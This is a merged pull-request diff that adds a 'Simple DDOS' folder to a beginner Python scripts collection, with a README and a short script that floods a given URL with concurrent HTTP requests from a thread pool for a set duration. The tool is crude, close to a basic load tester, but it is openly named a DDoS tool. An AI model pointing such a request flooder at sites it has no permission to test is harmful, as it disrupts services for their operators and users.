Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -116,6 +116,7 @@ More information on contributing and the general code of conduct for discussion
| Rock Paper Scissor 2 | [Rock Paper Scissor 2](https://github.com/DhanushNehru/Python-Scripts/tree/master/Rock%20Paper%20Scissor%202) | A new version game of Rock Paper Scissors.
| Run Then Notify | [Run Then Notify](https://github.com/DhanushNehru/Python-Scripts/tree/master/Run%20Then%20Notify) | Runs a slow command and emails you when it completes execution. |
| Selfie with Python | [Selfie with Python](https://github.com/DhanushNehru/Python-Scripts/tree/master/Selfie%20with%20Python) | Take your selfie with python . |
| Simple DDOS | [Simple DDOS](https://github.com/VanshajR/Python-Scripts/tree/master/Simple%20DDOS) | The code allows you to send multiple HTTP requests concurrently for a specified duration. |
| Simple TCP Chat Server | [Simple TCP Chat Server](https://github.com/DhanushNehru/Python-Scripts/tree/master/TCP%20Chat%20Server) | Creates a local server on your LAN for receiving and sending messages! |
| Snake Water Gun | [Snake Water Gun](https://github.com/DhanushNehru/Python-Scripts/tree/master/Snake%20Water%20Gun) | A game similar to Rock Paper Scissors. |
| Sorting | [Sorting](https://github.com/DhanushNehru/Python-Scripts/tree/master/Sorting) | Algorithm for bubble sorting. |
Expand Down
69 changes: 69 additions & 0 deletions Simple DDOS/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
# Multithreaded HTTP Requests with Python

This script performs multithreaded HTTP requests using Python's `requests` library and `ThreadPoolExecutor`. The code allows you to send multiple HTTP requests concurrently for a specified duration.

## Features
- Sends concurrent HTTP requests to a specified URL.
- Supports multiple request methods (GET, POST, etc.).
- Allows customizing headers, cookies, data, and URL parameters.
- The number of threads and the duration of the requests can be controlled.
- Uses ThreadPoolExecutor to handle multithreading efficiently.

## Requirements
- Python 3.x
- `requests` library

To install the `requests` library, run:
```bash
pip install requests
```

## Usage

### Function: `make_request`
This function sends a single HTTP request to a given URL with the specified parameters.
- **Arguments**:
- `url` (str): The URL to send the request to.
- `method` (str): The HTTP method to use (default: GET).
- `headers` (dict): Optional HTTP headers to include.
- `cookies` (dict): Optional cookies to include.
- `data` (dict): Optional data for POST requests.
- `params` (dict): Optional URL parameters.

- **Example**:
make_request("https://example.com", method='POST', data={"key": "value"})

### Function: `start_requests`
This function sends multiple HTTP requests concurrently for a specified duration.
- **Arguments**:
- `url` (str): The URL to send the requests to.
- `method` (str): The HTTP method to use (default: GET).
- `headers` (dict): Optional HTTP headers to include.
- `cookies` (dict): Optional cookies to include.
- `data` (dict): Optional data for POST requests.
- `params` (dict): Optional URL parameters.
- `num_threads` (int): The number of threads to use (default: 5).
- `duration` (int): The duration in seconds to send requests (default: 10 seconds).

- **Example**:
url = "https://example.com/api"
start_requests(url, method='GET', num_threads=5, duration=15)

## How It Works
1. The `start_requests` function uses `ThreadPoolExecutor` to manage the specified number of threads.
2. Each thread sends an HTTP request to the given URL.
3. The process continues until the specified duration ends.
4. The `make_request` function handles sending the requests and printing the response status codes.

## Example Usage
url = "https://example.com/api"
start_requests(url, num_threads=5, duration=15) # Sends requests for 15 seconds using 5 threads.

## Customization
- You can modify the method, headers, cookies, data, or params in the function calls to fit your use case.
- For POST requests, pass data through the `data` argument.

start_requests("https://example.com/post", method='POST', data={'key': 'value'}, num_threads=10, duration=20)

## License
This project is licensed under the MIT License.
27 changes: 27 additions & 0 deletions Simple DDOS/ddos.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import requests
from concurrent.futures import ThreadPoolExecutor
import time

def make_request(url, method='GET', headers=None, cookies=None, data=None, params=None):
try:

response = requests.request(method, url, headers=headers, cookies=cookies, data=data, params=params)
print(f"Response code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error occurred: {e}")

def start_requests(url, method='GET', headers=None, cookies=None, data=None, params=None, num_threads=5, duration=10):
executor = ThreadPoolExecutor(max_workers=num_threads)
end_time = time.time() + duration # Time to stop the requests

while time.time() < end_time:
for _ in range(num_threads):
executor.submit(make_request, url, method, headers, cookies, data, params)

executor.shutdown(wait=True)
print("Requests completed.")

# Usage example
url = "Sample URL"
start_requests(url, num_threads=5, duration=15) #time in seconds
#change methods as required